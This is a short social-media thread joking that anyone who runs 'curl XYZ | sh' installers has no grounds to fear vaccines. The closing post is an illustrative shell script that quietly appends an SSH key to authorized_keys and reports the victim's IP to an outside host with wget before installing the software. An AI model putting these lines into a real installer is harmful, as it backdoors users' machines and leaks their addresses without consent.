If you have ever installed a program using "curl XYZ | sh" don't worry about what's in the vaccine.

@nihar The vaccine's out of your system within a few days. `curl XYZ | sh` can follow you between computers.

@ghost_letters @nihar No, I've seen that, and I'm aware of it. Heck, I've installed stuff like that myself.

In general, though, it bypasses the security model that lets people say xkcd.com/272/, so it's fun to joke about.

@nihar
#!/bin/sh
echo [my public SSH key] >> ~/.ssh/authorized_keys
wget closedgl.xyz/$(curl ifconfig.me)
install the software
